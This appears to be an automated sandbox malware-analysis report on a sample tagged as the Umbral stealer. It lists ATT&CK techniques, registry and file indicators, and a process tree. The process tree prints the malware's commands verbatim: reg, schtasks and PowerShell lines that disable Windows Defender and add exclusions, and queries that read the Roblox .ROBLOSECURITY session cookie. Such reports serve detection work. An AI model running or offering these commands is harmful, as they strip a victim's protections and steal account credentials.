umbral | dbafb79e86af01c2dd0cb457e2c016b0cf1bdf3f206e9ec5b9b2c9d484f99bdf

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	system32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	XClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Microsoft OneDrive.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4496	powershell.exe
4728	powershell.exe
4736	powershell.exe
2976	powershell.exe
3796	powershell.exe
4988	powershell.exe
4056	powershell.exe
500	powershell.exe
2364	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	system32.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	system32.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe

Executes dropped EXE 3 IoCs

pid	Process
1240	system32.exe
164	Microsoft OneDrive.exe
4876	XClient.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Wine	system32.exe
Key opened	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Wine	XClient.exe
Key opened	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Wine	Microsoft OneDrive.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\FunCheker = "C:\\Users\\Admin\\AppData\\Roaming\\FunCheker.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft OneDrive.exe"	Microsoft OneDrive.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XClient.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	system32.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Microsoft OneDrive.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com
10	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	system32.exe
File opened for modification	\??\PhysicalDrive0	XClient.exe
File opened for modification	\??\PhysicalDrive0	Microsoft OneDrive.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1240	system32.exe
164	Microsoft OneDrive.exe
4876	XClient.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
4636	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
1516	wmic.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4572	schtasks.exe
4672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1240	system32.exe
1240	system32.exe
164	Microsoft OneDrive.exe
164	Microsoft OneDrive.exe
4876	XClient.exe
4876	XClient.exe
3796	powershell.exe
3796	powershell.exe
3796	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
4988	powershell.exe
4988	powershell.exe
1992	powershell.exe
4988	powershell.exe
4988	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
3116	powershell.exe
3116	powershell.exe
3116	powershell.exe
3116	powershell.exe
500	powershell.exe
500	powershell.exe
500	powershell.exe
500	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
4736	powershell.exe
1876	taskmgr.exe
1876	taskmgr.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
1876	taskmgr.exe
1876	taskmgr.exe
164	Microsoft OneDrive.exe
1876	taskmgr.exe
4876	XClient.exe
1876	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	164	Microsoft OneDrive.exe
Token: SeDebugPrivilege	1240	system32.exe
Token: SeDebugPrivilege	4876	XClient.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	500	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	4320	wmic.exe
Token: SeSecurityPrivilege	4320	wmic.exe
Token: SeTakeOwnershipPrivilege	4320	wmic.exe
Token: SeLoadDriverPrivilege	4320	wmic.exe
Token: SeSystemProfilePrivilege	4320	wmic.exe
Token: SeSystemtimePrivilege	4320	wmic.exe
Token: SeProfSingleProcessPrivilege	4320	wmic.exe
Token: SeIncBasePriorityPrivilege	4320	wmic.exe
Token: SeCreatePagefilePrivilege	4320	wmic.exe
Token: SeBackupPrivilege	4320	wmic.exe
Token: SeRestorePrivilege	4320	wmic.exe
Token: SeShutdownPrivilege	4320	wmic.exe
Token: SeDebugPrivilege	4320	wmic.exe
Token: SeSystemEnvironmentPrivilege	4320	wmic.exe
Token: SeRemoteShutdownPrivilege	4320	wmic.exe
Token: SeUndockPrivilege	4320	wmic.exe
Token: SeManageVolumePrivilege	4320	wmic.exe
Token: 33	4320	wmic.exe
Token: 34	4320	wmic.exe
Token: 35	4320	wmic.exe
Token: 36	4320	wmic.exe
Token: SeIncreaseQuotaPrivilege	4320	wmic.exe
Token: SeSecurityPrivilege	4320	wmic.exe
Token: SeTakeOwnershipPrivilege	4320	wmic.exe
Token: SeLoadDriverPrivilege	4320	wmic.exe
Token: SeSystemProfilePrivilege	4320	wmic.exe
Token: SeSystemtimePrivilege	4320	wmic.exe
Token: SeProfSingleProcessPrivilege	4320	wmic.exe
Token: SeIncBasePriorityPrivilege	4320	wmic.exe
Token: SeCreatePagefilePrivilege	4320	wmic.exe
Token: SeBackupPrivilege	4320	wmic.exe
Token: SeRestorePrivilege	4320	wmic.exe
Token: SeShutdownPrivilege	4320	wmic.exe
Token: SeDebugPrivilege	4320	wmic.exe
Token: SeSystemEnvironmentPrivilege	4320	wmic.exe
Token: SeRemoteShutdownPrivilege	4320	wmic.exe
Token: SeUndockPrivilege	4320	wmic.exe
Token: SeManageVolumePrivilege	4320	wmic.exe
Token: 33	4320	wmic.exe
Token: 34	4320	wmic.exe
Token: 35	4320	wmic.exe
Token: 36	4320	wmic.exe
Token: SeIncreaseQuotaPrivilege	2528	wmic.exe
Token: SeSecurityPrivilege	2528	wmic.exe
Token: SeTakeOwnershipPrivilege	2528	wmic.exe
Token: SeLoadDriverPrivilege	2528	wmic.exe
Token: SeSystemProfilePrivilege	2528	wmic.exe
Token: SeSystemtimePrivilege	2528	wmic.exe
Token: SeProfSingleProcessPrivilege	2528	wmic.exe
Token: SeIncBasePriorityPrivilege	2528	wmic.exe
Token: SeCreatePagefilePrivilege	2528	wmic.exe
Token: SeBackupPrivilege	2528	wmic.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe

Suspicious use of SendNotifyMessage 43 IoCs

pid	Process
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe
1876	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
164	Microsoft OneDrive.exe
4876	XClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 988 wrote to memory of 2016	988	FunChecker.exe	73
PID 988 wrote to memory of 2016	988	FunChecker.exe	73
PID 988 wrote to memory of 3280	988	FunChecker.exe	75
PID 988 wrote to memory of 3280	988	FunChecker.exe	75
PID 988 wrote to memory of 1876	988	FunChecker.exe	77
PID 988 wrote to memory of 1876	988	FunChecker.exe	77
PID 988 wrote to memory of 1100	988	FunChecker.exe	78
PID 988 wrote to memory of 1100	988	FunChecker.exe	78
PID 988 wrote to memory of 1240	988	FunChecker.exe	81
PID 988 wrote to memory of 1240	988	FunChecker.exe	81
PID 988 wrote to memory of 1240	988	FunChecker.exe	81
PID 2016 wrote to memory of 656	2016	cmd.exe	82
PID 2016 wrote to memory of 656	2016	cmd.exe	82
PID 988 wrote to memory of 164	988	FunChecker.exe	83
PID 988 wrote to memory of 164	988	FunChecker.exe	83
PID 988 wrote to memory of 164	988	FunChecker.exe	83
PID 988 wrote to memory of 4876	988	FunChecker.exe	84
PID 988 wrote to memory of 4876	988	FunChecker.exe	84
PID 988 wrote to memory of 4876	988	FunChecker.exe	84
PID 1100 wrote to memory of 4596	1100	cmd.exe	85
PID 1100 wrote to memory of 4596	1100	cmd.exe	85
PID 2016 wrote to memory of 3040	2016	cmd.exe	86
PID 2016 wrote to memory of 3040	2016	cmd.exe	86
PID 2016 wrote to memory of 4448	2016	cmd.exe	87
PID 2016 wrote to memory of 4448	2016	cmd.exe	87
PID 2016 wrote to memory of 2312	2016	cmd.exe	88
PID 2016 wrote to memory of 2312	2016	cmd.exe	88
PID 1240 wrote to memory of 3796	1240	system32.exe	89
PID 1240 wrote to memory of 3796	1240	system32.exe	89
PID 1240 wrote to memory of 3796	1240	system32.exe	89
PID 2016 wrote to memory of 3820	2016	cmd.exe	91
PID 2016 wrote to memory of 3820	2016	cmd.exe	91
PID 2016 wrote to memory of 608	2016	cmd.exe	92
PID 2016 wrote to memory of 608	2016	cmd.exe	92
PID 2016 wrote to memory of 4724	2016	cmd.exe	93
PID 2016 wrote to memory of 4724	2016	cmd.exe	93
PID 2016 wrote to memory of 2244	2016	cmd.exe	94
PID 2016 wrote to memory of 2244	2016	cmd.exe	94
PID 2016 wrote to memory of 2384	2016	cmd.exe	95
PID 2016 wrote to memory of 2384	2016	cmd.exe	95
PID 2016 wrote to memory of 4224	2016	cmd.exe	96
PID 2016 wrote to memory of 4224	2016	cmd.exe	96
PID 2016 wrote to memory of 1368	2016	cmd.exe	97
PID 2016 wrote to memory of 1368	2016	cmd.exe	97
PID 2016 wrote to memory of 4328	2016	cmd.exe	98
PID 2016 wrote to memory of 4328	2016	cmd.exe	98
PID 2016 wrote to memory of 4108	2016	cmd.exe	99
PID 2016 wrote to memory of 4108	2016	cmd.exe	99
PID 2016 wrote to memory of 3544	2016	cmd.exe	100
PID 2016 wrote to memory of 3544	2016	cmd.exe	100
PID 2016 wrote to memory of 4300	2016	cmd.exe	101
PID 2016 wrote to memory of 4300	2016	cmd.exe	101
PID 2016 wrote to memory of 1124	2016	cmd.exe	102
PID 2016 wrote to memory of 1124	2016	cmd.exe	102
PID 2016 wrote to memory of 824	2016	cmd.exe	103
PID 2016 wrote to memory of 824	2016	cmd.exe	103
PID 2016 wrote to memory of 4100	2016	cmd.exe	104
PID 2016 wrote to memory of 4100	2016	cmd.exe	104
PID 2016 wrote to memory of 3660	2016	cmd.exe	105
PID 2016 wrote to memory of 3660	2016	cmd.exe	105
PID 2016 wrote to memory of 1880	2016	cmd.exe	106
PID 2016 wrote to memory of 1880	2016	cmd.exe	106
PID 2016 wrote to memory of 4708	2016	cmd.exe	107
PID 2016 wrote to memory of 4708	2016	cmd.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FunChecker.exe
"C:\Users\Admin\AppData\Local\Temp\FunChecker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\avdisable.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:656
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:2312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3820
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:608
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4724
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2244
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:4224
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:1368
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:4328
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:4108
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:3544
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4300
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1124
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:824
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:4100
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:3660
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:1880
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:4708
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:4904
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:4924
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:2452
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - Modifies registry class
    PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2984
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4228
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3160
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4208
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:4204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\clear_av.bat" "
  2⤵
  PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anti_pros_disp.bat" "
  2⤵
  PID:1876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FunChecker.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4596
- C:\Users\Admin\AppData\Local\Temp\system32.exe
  "C:\Users\Admin\AppData\Local\Temp\system32.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3116
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4300
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1152
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1516
- C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe
  "C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
